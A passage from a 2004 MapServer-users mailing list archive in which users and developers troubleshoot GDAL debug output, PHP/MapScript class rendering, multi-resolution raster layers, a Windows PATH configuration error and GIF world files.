ec.gc.ca (Fortin,Nicolas [SteFoy]) Date: Wed, 17 Mar 2004 14:26:12 -0500 Subject: [Mapserver-users] Strange result with WMS layer Message-ID: And if I try with shp2img, I got the right image with this message: GDAL: GDALOpen(C:\Inetpub\wwwroot\tmp\1234567890.img.tmp) succeeds as PNG. GDAL: GDALClose(C:\Inetpub\wwwroot\tmp\1234567890.img.tmp) GDAL: GDALDeregistered_GTiff() called. Any idea?? Thx, Nicolas -----Message d'origine----- De : Fortin,Nicolas [SteFoy] Envoy? : Wednesday, March 17, 2004 11:28 AM ? : Mapserver User List Objet : [Mapserver-users] Strange result with WMS layer Hi list, I made a simple viewer to see the layers of one of my mapfile. Some of these layers are valid WMS layers. When I want to see one of these layers, the result is the html in ascii with this at the begining: GDAL: GDALClose(C:/Inetpub/wwwroot/tmp/107954018813960.img.tmp) Content-type: text/html If I browse the html file I can find the path to the result image and I can go in that directory and see the result, which is perfect. How can I make this works and why these two lines appear? Here's some part of my mapfile: NAME CYBER01 EXTENT 7630000 1310000 7680000 1360000SIZE 425 425 SYMBOLSET 'C:\Inetpub\wwwroot\mapserv\symbols\symbols35.sym' # Also tried init=EPSG:4326 PROJECTION "proj=lcc" "ellps=GRS80" "lat_0=63" "lon_0=-91.8666" "lat_1=49" "lat_2=77" "x_0=6200000" "y_0=2958000" "datum=NAD83" "units=m" END # WMS Layer LAYER NAME "4" METADATA "wms_title" "Municipality" "wms_srs" "EPSG:4326 EPSG:54008" "wms_name" "1" "wms_server_version" "1.1.1" "wms_format" "image/png" END TYPE RASTER STATUS OFF CONNECTIONTYPE WMS CONNECTION "http://***/ogcwms/servlet/com.esri.ogc.wms.WMSServlet?SERVICENAME=mh1996video" #ArcIMS WMS PROJECTION "init=epsg:4326" END END I use Win2k and IIS Thx, Nicolas Fortin Math?maticien, Programmeur, Analyste de donn?es SMC-Qu?bec Hydrologie, Environnement Canada 1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5 (418)648-2516 nicolas.fortin at ec.gc.ca _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From warmerdam at pobox.com Wed Mar 17 11:45:18 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Wed, 17 Mar 2004 14:45:18 -0500 Subject: [Mapserver-users] Strange result with WMS layer In-Reply-To: References: Message-ID: <4058AACE.6090302@pobox.com> Fortin,Nicolas [SteFoy] wrote: > And if I try with shp2img, I got the right image with this message: > > GDAL: GDALOpen(C:\Inetpub\wwwroot\tmp\1234567890.img.tmp) succeeds as PNG. > GDAL: GDALClose(C:\Inetpub\wwwroot\tmp\1234567890.img.tmp) > GDAL: GDALDeregistered_GTiff() called. ... > I made a simple viewer to see the layers of one of my mapfile. Some of these layers are valid WMS layers. When I want to see one of these layers, the result is the html in ascii with this at the begining: > > GDAL: GDALClose(C:/Inetpub/wwwroot/tmp/107954018813960.img.tmp) > > Content-type: text/html Nicolas, The GDAL: ... messages are debug messages from GDAL. Normally they should be turned off though setting the CPL_DEBUG environment variable to ON will turn them on. On unix (at least) they go to stderr and would not normally be returned from a cgi-bin. Instead they would be logged in the error logfile for the web server. The "Content-type: text/html" is supposed to be the first line returned by a cgi, and indicates to the web server (and the receiving browser) that what follows is HTML. So, my suggestion is to review your environment variable settings an unset CPL_DEBUG. I haven't been following the rest of your error report so I don't know if this is the actual problem or unrelated. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From nicolas.fortin at ec.gc.ca Wed Mar 17 11:55:37 2004 From: nicolas.fortin at ec.gc.ca (Fortin,Nicolas [SteFoy]) Date: Wed, 17 Mar 2004 14:55:37 -0500 Subject: [Mapserver-users] Strange result with WMS layer Message-ID: Yessssss...thank you very much Frank, you make my day! I added the CPL_DEBUG=ON env var long time ago for debug purpose but I no longer need it now. Nicolas -----Message d'origine----- De : Frank Warmerdam [mailto:warmerdam at pobox.com] Envoy? : Wednesday, March 17, 2004 2:45 PM ? : Fortin,Nicolas [SteFoy] Cc : Mapserver User List Objet : Re: RE : [Mapserver-users] Strange result with WMS layer Fortin,Nicolas [SteFoy] wrote: > And if I try with shp2img, I got the right image with this message: > > GDAL: GDALOpen(C:\Inetpub\wwwroot\tmp\1234567890.img.tmp) succeeds as > PNG. > GDAL: GDALClose(C:\Inetpub\wwwroot\tmp\1234567890.img.tmp) > GDAL: GDALDeregistered_GTiff() called. ... > I made a simple viewer to see the layers of one of my mapfile. Some > of these layers are valid WMS layers. When I want to see one of these > layers, the result is the html in ascii with this at the begining: > > GDAL: GDALClose(C:/Inetpub/wwwroot/tmp/107954018813960.img.tmp) > > Content-type: text/html Nicolas, The GDAL: ... messages are debug messages from GDAL. Normally they should be turned off though setting the CPL_DEBUG environment variable to ON will turn them on. On unix (at least) they go to stderr and would not normally be returned from a cgi-bin. Instead they would be logged in the error logfile for the web server. The "Content-type: text/html" is supposed to be the first line returned by a cgi, and indicates to the web server (and the receiving browser) that what follows is HTML. So, my suggestion is to review your environment variable settings an unset CPL_DEBUG. I haven't been following the rest of your error report so I don't know if this is the actual problem or unrelated. Best regards, -- ---------------------------------------+-------------------------------- ---------------------------------------+------ I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From wdw at rti.org Wed Mar 17 12:09:40 2004 From: wdw at rti.org (Wheaton, William D.) Date: Wed, 17 Mar 2004 15:09:40 -0500 Subject: [Mapserver-users] Rendering mapscript style modifications Message-ID: Hello all: I'm having a basic conceptual problem understanding the interaction between the modification of a layer in php/mapscript and then rendering those modifications...I've searched far and wide in the e-mail archives, but I guess I'm just missing some basic concept here. Given a .map file with several layers, then: 1) $map = ms_newMapObj(file.map); For the layer I want to change, the .map file looks like this: LAYER PROJECTION "proj=latlong" "ellps=clrk66" END CONNECTIONTYPE postgis NAME "Respondents" GROUP "Base Data" CONNECTION "user=xxxx dbname=xxx password=xxxx" DATA "the_geom from resp" STATUS DEFAULT TYPE POINT METADATA LYRNAME "Respondents" END CLASS STYLE COLOR 255 0 0 END END END 2) Then, through php/mapscript, grab this layer and change its style: $layer=$map->getlayerbyname('Respondents'); 3) Modify the style of this layer: $class=ms_newClassObj($layer); $style=ms_newStyleObj($class); $style->color->setRGB(0,255,0); $class->set("status", MS_ON); $layer->set("status", MS_ON); $image=$map->draw(); $image_url=$image->saveWebImage(MS_PNG,1,1,0); 4) With this, the map gets drawn with the layer symbology as specified in the .map file, not with the modifications made above in the mapscript... So, I have a basic problem understanding how modifications to a layer in a mapscript file get rendered on the map...Is it order? Am I missing a something? Many thanks in advance for any help. I'm at my wits end! From Zamil.Murji at divestco.com Wed Mar 17 12:18:52 2004 From: Zamil.Murji at divestco.com (Zamil Murji) Date: Wed, 17 Mar 2004 13:18:52 -0700 Subject: [Mapserver-users] performance and reliability Message-ID: <64FC1B3E23F04C4E931EE3F6D809FF303ABE91@DIV-MX02.divestco> That being said, maybe you should look into PostGIS. It is a spatial database that works with MapServer. Zamil -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Sean Gillies Sent: Wednesday, March 17, 2004 11:40 AM To: sd at dil.in Cc: Mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] performance and reliability On Mar 17, 2004, at 10:51 AM, Saurabh Data wrote: > Hi > I am doing a research on "Spatial Databses; an analysis of open source > systems" > As part of it , I am writing a few pages about mapserver its > functionality, performance and reliability. > I request experienced programmers or mapserver to comment about its > performance and reliability issues and if possible compare with any of > the proprietary systems like ESRI SDE or oracle spatial > or if any links to related or proof articles > > Thanks for any help > > Cheers > > Saurabh Data > MapServer is not a spatial database and so cannot be meaningfully compared to ESRI SDE or oracle spatial. cheers, Sean _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From eric at gomoos.org Wed Mar 17 13:14:47 2004 From: eric at gomoos.org (Eric Bridger) Date: 17 Mar 2004 16:14:47 -0500 Subject: [Mapserver-users] Rendering mapscript style modifications In-Reply-To: References: Message-ID: <1079558092.1882.33.camel@ubet.gomoos.org> William, I remember going thru the same conceptual confusion when I first started with mapscript. I use Perl mapscript but the issues are the same. I don't have the time to check the docs so take the following with a grain of salt. The fundemental difference is: mapscript methods which take an Image object and those that don't. I believe that the call to $map->draw() takes care of "preparing" the GD image for drawing and then draws all the layers in the map file. You should switch to using: $img = $map->prepareImage() And then using the draw methods which take an $img paramter. E.g. $layer->draw($map, $img). It may be, that you could use $img = $map->draw() and then use $layer->draw($map, $img) afterwards. That might work. My method requires a lot more work, in the sense of getting all the layers in the map file and drawing them one by one. HTH Eric On Wed, 2004-03-17 at 15:09, Wheaton, William D. wrote: > Hello all: > > I'm having a basic conceptual problem understanding the interaction between > the modification of a layer in php/mapscript and then rendering those > modifications...I've searched far and wide in the e-mail archives, but I > guess I'm just missing some basic concept here. > > Given a .map file with several layers, then: > > 1) $map = ms_newMapObj(file.map); > > For the layer I want to change, the .map file looks like this: > LAYER > PROJECTION > "proj=latlong" > "ellps=clrk66" > END > CONNECTIONTYPE postgis > NAME "Respondents" > GROUP "Base Data" > CONNECTION "user=xxxx dbname=xxx password=xxxx" > DATA "the_geom from resp" > STATUS DEFAULT > TYPE POINT > METADATA > LYRNAME "Respondents" > END > CLASS > STYLE > COLOR 255 0 0 > END > END > END > > 2) Then, through php/mapscript, grab this layer and change its style: > > $layer=$map->getlayerbyname('Respondents'); > > 3) Modify the style of this layer: > > $class=ms_newClassObj($layer); > $style=ms_newStyleObj($class); > $style->color->setRGB(0,255,0); > $class->set("status", MS_ON); > $layer->set("status", MS_ON); > $image=$map->draw(); > $image_url=$image->saveWebImage(MS_PNG,1,1,0); > > 4) With this, the map gets drawn with the layer symbology as specified in > the .map file, not with the modifications made above in the mapscript... > > So, I have a basic problem understanding how modifications to a layer in a > mapscript file get rendered on the map...Is it order? Am I missing a > something? > > Many thanks in advance for any help. I'm at my wits end! > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From wdw at rti.org Wed Mar 17 13:43:34 2004 From: wdw at rti.org (Wheaton, William D.) Date: Wed, 17 Mar 2004 16:43:34 -0500 Subject: [Mapserver-users] Rendering mapscript style modifications Message-ID: Eric-- Thanks for the response and suggestion. Unfortunately, no joy. I've now tried: $image=$map->prepareImage(); $layer->draw($map, $image); $image=$map->draw(); $image_url=$image->saveWebImage(MS_PNG,1,1,0); And: $image=$map->prepareImage(); $image=$map->draw(); $layer->draw($map, $image); $image_url=$image->saveWebImage(MS_PNG,1,1,0); In both cases, I get this error: Fatal error: Object has an invalid _handle_ property in /var/www/htdocs/els/mapscript_test.phtml on line 43 The error refers to the $layer->draw($map, $image) line...Is that an error that helps decipher the problem? I searched the list and didn't find anything on that error...Many thanks for helping out! Bill. -----Original Message----- From: Eric Bridger [mailto:eric at gomoos.org] Sent: Wednesday, March 17, 2004 4:15 PM To: Wheaton, William D. Cc: 'mapserver-users at lists.gis.umn.edu' Subject: Re: [Mapserver-users] Rendering mapscript style modifications William, I remember going thru the same conceptual confusion when I first started with mapscript. I use Perl mapscript but the issues are the same. I don't have the time to check the docs so take the following with a grain of salt. The fundemental difference is: mapscript methods which take an Image object and those that don't. I believe that the call to $map->draw() takes care of "preparing" the GD image for drawing and then draws all the layers in the map file. You should switch to using: $img = $map->prepareImage() And then using the draw methods which take an $img paramter. E.g. $layer->draw($map, $img). It may be, that you could use $img = $map->draw() and then use $layer->draw($map, $img) afterwards. That might work. My method requires a lot more work, in the sense of getting all the layers in the map file and drawing them one by one. HTH Eric On Wed, 2004-03-17 at 15:09, Wheaton, William D. wrote: > Hello all: > > I'm having a basic conceptual problem understanding the interaction > between the modification of a layer in php/mapscript and then > rendering those modifications...I've searched far and wide in the > e-mail archives, but I guess I'm just missing some basic concept here. > > Given a .map file with several layers, then: > > 1) $map = ms_newMapObj(file.map); > > For the layer I want to change, the .map file looks like this: LAYER > PROJECTION > "proj=latlong" > "ellps=clrk66" > END > CONNECTIONTYPE postgis > NAME "Respondents" > GROUP "Base Data" > CONNECTION "user=xxxx dbname=xxx password=xxxx" > DATA "the_geom from resp" > STATUS DEFAULT > TYPE POINT > METADATA > LYRNAME "Respondents" > END > CLASS > STYLE > COLOR 255 0 0 > END > END > END > > 2) Then, through php/mapscript, grab this layer and change its style: > > $layer=$map->getlayerbyname('Respondents'); > > 3) Modify the style of this layer: > > $class=ms_newClassObj($layer); > $style=ms_newStyleObj($class); $style->color->setRGB(0,255,0); > $class->set("status", MS_ON); > $layer->set("status", MS_ON); > $image=$map->draw(); > $image_url=$image->saveWebImage(MS_PNG,1,1,0); > > 4) With this, the map gets drawn with the layer symbology as specified > in the .map file, not with the modifications made above in the > mapscript... > > So, I have a basic problem understanding how modifications to a layer > in a mapscript file get rendered on the map...Is it order? Am I > missing a something? > > Many thanks in advance for any help. I'm at my wits end! > > _______________________________________________ > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From wdw at rti.org Wed Mar 17 14:03:16 2004 From: wdw at rti.org (Wheaton, William D.) Date: Wed, 17 Mar 2004 17:03:16 -0500 Subject: [Mapserver-users] Rendering mapscript style modifications Message-ID: OK. I solved the problem with the fatal error: Fatal error: Object has an invalid _handle_ property in /var/www/htdocs/els/mapscript_test.phtml on line 43 The problem was with the $layer=draw($map, $image). According to the php/mapscript documentation, the draw method for layer objects, just takes an image object. So, I tried $layer=draw($image) and then the image rendered. But again, the map reflects what is in the .map file, not what I've changed in the mapscript code. The mapscript code is below-- is there something missing here? Do I need to specify a symbolname, symbol size etc.? Again, the graphic that is produced shows all of the layers in my .map file, including the one that is modified in mapscript. But it is ignoring the modifications I'm making in mapscript for that layer. Many thanks for your assistance! getlayerbyname('Respondents'); $class = ms_newClassObj($layer); $style = ms_newStyleObj($class); $style->color->setRGB(0, 255, 0); $class->set("status", MS_ON); $layer->set("status", MS_ON); $image=$map->prepareImage(); $layer->draw($image); $image=$map->draw(); $image_url=$image->saveWebImage(MS_PNG,1,1,0); echo(""); ?> -----Original Message----- From: Wheaton, William D. Sent: Wednesday, March 17, 2004 4:44 PM To: 'Eric Bridger'; Wheaton, William D. Cc: 'mapserver-users at lists.gis.umn.edu' Subject: RE: [Mapserver-users] Rendering mapscript style modifications Eric-- Thanks for the response and suggestion. Unfortunately, no joy. I've now tried: $image=$map->prepareImage(); $layer->draw($map, $image); $image=$map->draw(); $image_url=$image->saveWebImage(MS_PNG,1,1,0); And: $image=$map->prepareImage(); $image=$map->draw(); $layer->draw($map, $image); $image_url=$image->saveWebImage(MS_PNG,1,1,0); In both cases, I get this error: Fatal error: Object has an invalid _handle_ property in /var/www/htdocs/els/mapscript_test.phtml on line 43 The error refers to the $layer->draw($map, $image) line...Is that an error that helps decipher the problem? I searched the list and didn't find anything on that error...Many thanks for helping out! Bill. -----Original Message----- From: Eric Bridger [mailto:eric at gomoos.org] Sent: Wednesday, March 17, 2004 4:15 PM To: Wheaton, William D. Cc: 'mapserver-users at lists.gis.umn.edu' Subject: Re: [Mapserver-users] Rendering mapscript style modifications William, I remember going thru the same conceptual confusion when I first started with mapscript. I use Perl mapscript but the issues are the same. I don't have the time to check the docs so take the following with a grain of salt. The fundemental difference is: mapscript methods which take an Image object and those that don't. I believe that the call to $map->draw() takes care of "preparing" the GD image for drawing and then draws all the layers in the map file. You should switch to using: $img = $map->prepareImage() And then using the draw methods which take an $img paramter. E.g. $layer->draw($map, $img). It may be, that you could use $img = $map->draw() and then use $layer->draw($map, $img) afterwards. That might work. My method requires a lot more work, in the sense of getting all the layers in the map file and drawing them one by one. HTH Eric On Wed, 2004-03-17 at 15:09, Wheaton, William D. wrote: > Hello all: > > I'm having a basic conceptual problem understanding the interaction > between the modification of a layer in php/mapscript and then > rendering those modifications...I've searched far and wide in the > e-mail archives, but I guess I'm just missing some basic concept here. > > Given a .map file with several layers, then: > > 1) $map = ms_newMapObj(file.map); > > For the layer I want to change, the .map file looks like this: LAYER > PROJECTION > "proj=latlong" > "ellps=clrk66" > END > CONNECTIONTYPE postgis > NAME "Respondents" > GROUP "Base Data" > CONNECTION "user=xxxx dbname=xxx password=xxxx" > DATA "the_geom from resp" > STATUS DEFAULT > TYPE POINT > METADATA > LYRNAME "Respondents" > END > CLASS > STYLE > COLOR 255 0 0 > END > END > END > > 2) Then, through php/mapscript, grab this layer and change its style: > > $layer=$map->getlayerbyname('Respondents'); > > 3) Modify the style of this layer: > > $class=ms_newClassObj($layer); > $style=ms_newStyleObj($class); $style->color->setRGB(0,255,0); > $class->set("status", MS_ON); $layer->set("status", MS_ON); > $image=$map->draw(); > $image_url=$image->saveWebImage(MS_PNG,1,1,0); > > 4) With this, the map gets drawn with the layer symbology as specified > in the .map file, not with the modifications made above in the > mapscript... > > So, I have a basic problem understanding how modifications to a layer > in a mapscript file get rendered on the map...Is it order? Am I > missing a something? > > Many thanks in advance for any help. I'm at my wits end! > > _______________________________________________ > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From warmerdam at pobox.com Wed Mar 17 14:21:23 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Wed, 17 Mar 2004 17:21:23 -0500 Subject: [Mapserver-users] Rendering mapscript style modifications In-Reply-To: References: Message-ID: <4058CF63.20706@pobox.com> Wheaton, William D. wrote: > But again, the map reflects what is in the .map file, not what I've changed > in the mapscript code. The mapscript code is below-- is there something > missing here? Do I need to specify a symbolname, symbol size etc.? Again, > the graphic that is produced shows all of the layers in my .map file, > including the one that is modified in mapscript. But it is ignoring the > modifications I'm making in mapscript for that layer. Many thanks for your > assistance! > > > dl('php_mapscript.so'); > > $map = ms_newMapObj(mapscript_test.phtml); > > $layer=$map->getlayerbyname('Respondents'); > $class = ms_newClassObj($layer); > $style = ms_newStyleObj($class); > $style->color->setRGB(0, 255, 0); > $class->set("status", MS_ON); > $layer->set("status", MS_ON); > > $image=$map->prepareImage(); > $layer->draw($image); > $image=$map->draw(); > > $image_url=$image->saveWebImage(MS_PNG,1,1,0); > > echo(""); > ?> William, I am no expert on MapScript, but it seems to me you haven't done anything to put your "default class" ahead of the default class loaded from the mapfile. As far as I can tell after your changes, the layer will have two classes (with no criteria) and so the first (from the mapfile) will always be used in preference to your new one. You might try switching the classes or actively destroying the old one. I think something like $layer->moveclassup(1) might push your new class ahead of the original class. Good luck, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From bob.basques at ci.stpaul.mn.us Wed Mar 17 15:12:48 2004 From: bob.basques at ci.stpaul.mn.us (Bob Basques) Date: Wed, 17 Mar 2004 17:12:48 -0600 Subject: [Mapserver-users] Just call me a newbie . . . multiple Raster LAYERs question Message-ID: <4058DB70.2060901@ci.stpaul.mn.us> All, Let's say I have Six different levels of resolution of Aerial Photo's all of them having the same coverage extents. Can I use different source data (a different tileindex for each of the levels above) for different classifications of the LAYER? Like the following, which is the coursest layer at 16 feet per pixel: # # Start of map file # MAP NAME CITIPIX STATUS ON SIZE 600 600 EXTENT 540000 135000 600000 175000 UNITS FEET SHAPEPATH "./data" IMAGECOLOR 255 255 255 IMAGETYPE JPEG LAYER NAME "AERIALS" STATUS DEFAULT TILEINDEX "RAST_STPL_PW_AER_SUR_2001_06_L5" TILEITEM "Location" TYPE RASTER END END # Map File I have five other TILEINDEXes, RAST_STPL_PW_AER_SUR_2001_06_L4 = 8 feet per pixel RAST_STPL_PW_AER_SUR_2001_06_L3 = 4 RAST_STPL_PW_AER_SUR_2001_06_L2 = 2 RAST_STPL_PW_AER_SUR_2001_06_L1 = 1 RAST_STPL_PW_AER_SUR_2001_06_L0 = 0.5 Do I need to make a layer for each tile index, or can they all be sourced under the same LAYER definition (aerials)? There will only ever be one of them at a time visible. So can the layer look like this (or some close)? LAYER NAME "AERIALS" STATUS DEFAULT class [pixel] classitem ( [pixel] >= 16 ) ## what does "pixel" represent anyway? It's not clear to me from the HowTo TILEINDEX "RAST_STPL_PW_AER_SUR_2001_06_L5" classitem ([pixel} >= 8 ) TILEINDEX "RAST_STPL_PW_AER_SUR_2001_06_L4" classitem ([pixel} >= 4 ) TILEINDEX "RAST_STPL_PW_AER_SUR_2001_06_L3" classitem ([pixel} >= 2 ) TILEINDEX "RAST_STPL_PW_AER_SUR_2001_06_L2" classitem ([pixel} >= 1 ) TILEINDEX "RAST_STPL_PW_AER_SUR_2001_06_L1" classitem ([pixel} >= 0.5 ) TILEINDEX "RAST_STPL_PW_AER_SUR_2001_06_L0" TILEITEM "Location" TYPE RASTER END or do I need to class them each as seperate layers in the map file with a max/min specification? Thanks bobb From sgillies at frii.com Wed Mar 17 15:26:47 2004 From: sgillies at frii.com (Sean Gillies) Date: Wed, 17 Mar 2004 16:26:47 -0700 Subject: [Mapserver-users] Just call me a newbie . . . multiple Raster LAYERs question In-Reply-To: <4058DB70.2060901@ci.stpaul.mn.us> References: <4058DB70.2060901@ci.stpaul.mn.us> Message-ID: <8F2F83C9-786A-11D8-B9A2-000393B98B56@frii.com> On Mar 17, 2004, at 4:12 PM, Bob Basques wrote: > All, > > Let's say I have Six different levels of resolution of Aerial Photo's > all of them having the same coverage extents. > > Can I use different source data (a different tileindex for each of the > levels above) for different classifications of the LAYER? > > Like the following, which is the coursest layer at 16 feet per pixel: > > # > # Start of map file > # > MAP > NAME CITIPIX > STATUS ON > SIZE 600 600 > EXTENT 540000 135000 600000 175000 > UNITS FEET > SHAPEPATH "./data" > IMAGECOLOR 255 255 255 > > IMAGETYPE JPEG > > LAYER > NAME "AERIALS" > STATUS DEFAULT > TILEINDEX "RAST_STPL_PW_AER_SUR_2001_06_L5" > TILEITEM "Location" > TYPE RASTER > END > > END # Map File > > I have five other TILEINDEXes, > > RAST_STPL_PW_AER_SUR_2001_06_L4 = 8 feet per pixel > RAST_STPL_PW_AER_SUR_2001_06_L3 = 4 > RAST_STPL_PW_AER_SUR_2001_06_L2 = 2 > RAST_STPL_PW_AER_SUR_2001_06_L1 = 1 > RAST_STPL_PW_AER_SUR_2001_06_L0 = 0.5 > > Do I need to make a layer for each tile index, or can they all be > sourced under the same LAYER definition (aerials)? There will only > ever be one of them at a time visible. So can the layer look like > this (or some close)? > > LAYER > NAME "AERIALS" > STATUS DEFAULT > class [pixel] > classitem ( [pixel] >= 16 ) ## what does "pixel" represent > anyway? It's not clear to me from the HowTo > TILEINDEX "RAST_STPL_PW_AER_SUR_2001_06_L5" > classitem ([pixel} >= 8 ) > TILEINDEX "RAST_STPL_PW_AER_SUR_2001_06_L4" > classitem ([pixel} >= 4 ) > TILEINDEX "RAST_STPL_PW_AER_SUR_2001_06_L3" > classitem ([pixel} >= 2 ) > TILEINDEX "RAST_STPL_PW_AER_SUR_2001_06_L2" > classitem ([pixel} >= 1 ) > TILEINDEX "RAST_STPL_PW_AER_SUR_2001_06_L1" > classitem ([pixel} >= 0.5 ) > TILEINDEX "RAST_STPL_PW_AER_SUR_2001_06_L0" > TILEITEM "Location" > TYPE RASTER > END > > > or do I need to class them each as seperate layers in the map file > with a max/min specification? > > Thanks > > bobb > Separate layer for each, but use the same GROUP for all so you can turn the collection on/off together. LAYER NAME "16F" GROUP "AERIAL" MINSCALE 100000 ... END LAYER NAME "8F" GROUP "AERIAL" MAXSCALE 100000 MINSCALE 50000 ... END ... cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From 1wilkerson at charter.net Wed Mar 17 18:30:57 2004 From: 1wilkerson at charter.net (P Wilkerson) Date: Wed, 17 Mar 2004 21:30:57 -0500 Subject: [Mapserver-users] Windows and Premature end of script headers Message-ID: <001401c40c91$0bed7880$6400a8c0@Dale1> This is a multi-part message in MIME format. ------=_NextPart_000_0011_01C40C67.22C66A50 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I am sharing a problem and the eventual solution should others encounter = a similar configuration problem in Windows XP. After downloading MapServer and trying to install it on a Windows XP = machine running an Apache 2 server, I encountered the following error = message was recorded in the server's error.log file: "Premature end of = script headers." I've spent much of the day looking for possible = solutions. Eventually, I realized that the MapServer Lib path was not showing up = under the PATH statement. I had placed the PATH statement under "User variables for Owner" (where = other programs had put their path statements) instead of "System = variables." =20 I hope this information will help others avoid the headache I had. Peter Wilkerson PS--It was the following message by Stephen Lime that gave me the clue I = needed. Thanks!! http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0104/msg00020.ht= ml ------=_NextPart_000_0011_01C40C67.22C66A50 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I am sharing a problem and the eventual = solution=20 should others encounter a similar configuration problem in Windows=20 XP.
 
After downloading MapServer and trying = to install=20 it on a Windows XP machine running an Apache 2 server, I encountered the = following error message was recorded in the server's error.log file: = "Premature=20 end of script headers."  I've spent much of the day looking for = possible=20 solutions.
 
Eventually, I realized that the = MapServer Lib path=20 was not showing up under the PATH statement.
I had placed the PATH statement under = "User=20 variables for Owner" (where other programs had put their path = statements)=20 instead of "System variables." 
 
I hope this information will help = others avoid the=20 headache I had.
 
Peter Wilkerson
 
PS--It was the = following message by=20 Stephen Lime that gave me the clue I needed.  Thanks!!
http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0104/ms= g00020.html
------=_NextPart_000_0011_01C40C67.22C66A50-- From cz_toh at yahoo.com Wed Mar 17 22:22:32 2004 From: cz_toh at yahoo.com (=?iso-8859-1?q?TOH=20CZ?=) Date: Thu, 18 Mar 2004 06:22:32 +0000 (GMT) Subject: [Mapserver-users] Question about wld/gfw file Message-ID: <20040318062232.37954.qmail@web14010.mail.yahoo.com> Hi, I have a few questions about the wld/gfw files used in mapserver 1) Do I need to create a new wld/gfw file for each of my own maps? 2) How do you determine what to put into the wld/gfw file? I tried searching the archives, I could not find one that contained information about using GIF files Right now, my file shows a blank GIF image MAP IMAGETYPE GIF EXTENT 201621.496941 -294488.285333 1425518.020722 498254.511514 SIZE 400 300 SHAPEPATH "C:\Program Files\Apache Group\Apache2\htdocs\tutorial\data" IMAGECOLOR 255 255 255 PROJECTION "proj=laea" "ellps=clrk66" "lat_0=45" "lon_0=-100" # # Alternatively, you can specify an EPSG code. # "init=epsg:2163" # END # Start of LAYER DEFINITIONS --------------------------------------------- LAYER # States polygon layer begins here NAME tp_genmap DATA "tp_genmap.gif" STATUS DEFAULT TYPE RASTER PROJECTION "init=epsg:4326" END CLASS COLOR 232 232 232 OUTLINECOLOR 32 32 32 END END # States polygon layer ends here # End of LAYER DEFINITIONS ------------------------------- END # end of map file/object Thanks ___________________________________________________________ Yahoo! Messenger - Communicate instantly..."Ping" your friends today! Download Messenger Now http://uk.messenger.yahoo.com/download/index.html From siki at agt.bme.hu Thu Mar 18 01:58:24 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Thu, 18 Mar 2004 08:58:24 -0100 (GMT+1) Subject: [Mapserver-users] Just call me a newbie . . . multiple Raster LAYERs question {Scanned} {Scanned} In-Reply-To: <4058DB70.2060901@ci.stpaul.mn.us> Message-ID: Hi, On Wed, 17 Mar 2004, Bob Basques wrote: > All, > > Let's say I have Six different levels of resolution of Aerial Photo's > all of them having the same coverage extents. > > Can I use different source data (a different tileindex for each of the > levels above) for different classifications of the LAYER? > > Like the following, which is the coursest layer at 16 feet per pixel: > > # > # Start of map file > # > MAP > NAME CITIPIX > STATUS ON > SIZE 600 600 > EXTENT 540000 135000 600000 175000 > UNITS FEET > SHAPEPATH "./data" > IMAGECOLOR 255 255 255 > > IMAGETYPE JPEG > > LAYER > NAME "AERIALS" > STATUS DEFAULT > TILEINDEX "RAST_STPL_PW_AER_SUR_2001_06_L5" > TILEITEM "Location" > TYPE RASTER > END > > END # Map File > > I have five other TILEINDEXes, > > RAST_STPL_PW_AER_SUR_2001_06_L4 = 8 feet per pixel > RAST_STPL_PW_AER_SUR_2001_06_L3 = 4 > RAST_STPL_PW_AER_SUR_2001_06_L2 = 2 > RAST_STPL_PW_AER_SUR_2001_06_L1 = 1 > RAST_STPL_PW_AER_SUR_2001_06_L0 = 0.5 > > Do I need to make a layer for each tile index, or can they all be > sourced under the same LAYER definition (aerials)? There will only ever > be one of them at a time visible. So can the layer look like this (or > some close)? > > LAYER > NAME "AERIALS" > STATUS DEFAULT > class [pixel] > classitem ( [pixel] >= 16 ) ## what does "pixel" represent the pixel represents the color code for the pixel not the size! the are some cgi variable, you can calculate the resolution of the mapserver generated image. But I thing it won't help you. > anyway? It's not clear to me from the HowTo > TILEINDEX "RAST_STPL_PW_AER_SUR_2001_06_L5" > classitem ([pixel} >= 8 ) > TILEINDEX "RAST_STPL_PW_AER_SUR_2001_06_L4" > classitem ([pixel} >= 4 ) > TILEINDEX "RAST_STPL_PW_AER_SUR_2001_06_L3" > classitem ([pixel} >= 2 ) > TILEINDEX "RAST_STPL_PW_AER_SUR_2001_06_L2" > classitem ([pixel} >= 1 ) > TILEINDEX "RAST_STPL_PW_AER_SUR_2001_06_L1" > classitem ([pixel} >= 0.5 ) > TILEINDEX "RAST_STPL_PW_AER_SUR_2001_06_L0" > TILEITEM "Location" > TYPE RASTER > END It won't work. You should create six tile index and six layer and set MINSCALE and MAXSCALE for them to turn the best one for a 